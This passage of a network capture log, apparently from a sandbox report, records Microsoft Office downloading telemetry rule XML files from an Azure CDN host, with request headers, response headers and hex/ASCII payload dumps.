xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49801	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 0b037635-501e-0016-6853-2e181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195120Z-158dbd74bf4kd595hC1SN1av8c00000004c0000000007n1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:20 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: a4b2601f-a01e-006f-5d5f-2e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf4kd595hC1SN1av8c00000004kg000000000hcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49803	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:21 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 52079ed0-501e-0047-273b-2ece6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf48rfm8hC1SN12d1s00000001q0000000003nyw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49804	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:21 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 776f9dcf-101e-008d-0d60-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf4cvrq6hC1SN1zhyc00000004c000000000364w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49806	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:21 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 423d25b5-301e-005d-1f4b-2ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf4mjxnbhC1SN1pkws00000004k00000000037rf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:21 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49805	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:21 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 03c1180a-901e-007b-2b6d-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf4mjxnbhC1SN1pkws00000004hg000000003cyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49807	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:21 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:21 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: ed27c552-101e-007a-705f-2e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195121Z-158dbd74bf4hfx6nhC1SN1z1dw0000000470000000006v5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:22 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49808	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:22 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:22 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:22 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c4c8fc32-f01e-0096-298e-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195122Z-157b9fd754fj4mbdhC1SN1sfuc00000004vg000000007fd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:22 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49809	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:22 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:22 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 12eeda2a-401e-00ac-598e-2d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195122Z-158dbd74bf4tx46ghC1SN1t6pc00000004g00000000013e3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:22 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49810	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:22 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:22 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 62c29a92-201e-003c-094f-2e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195122Z-158dbd74bf4wlzpzhC1SN10qvc00000004bg000000003366 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:22 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49812	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 7b700101-601e-0050-4e5f-2e2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf48jc9phC1SN1a5vw0000000250000000002g2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:23 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49813	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:23 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:23 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 37c49176-f01e-0003-705c-2e4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195123Z-158dbd74bf4mjxnbhC1SN1pkws00000004mg000000001rdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:23 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

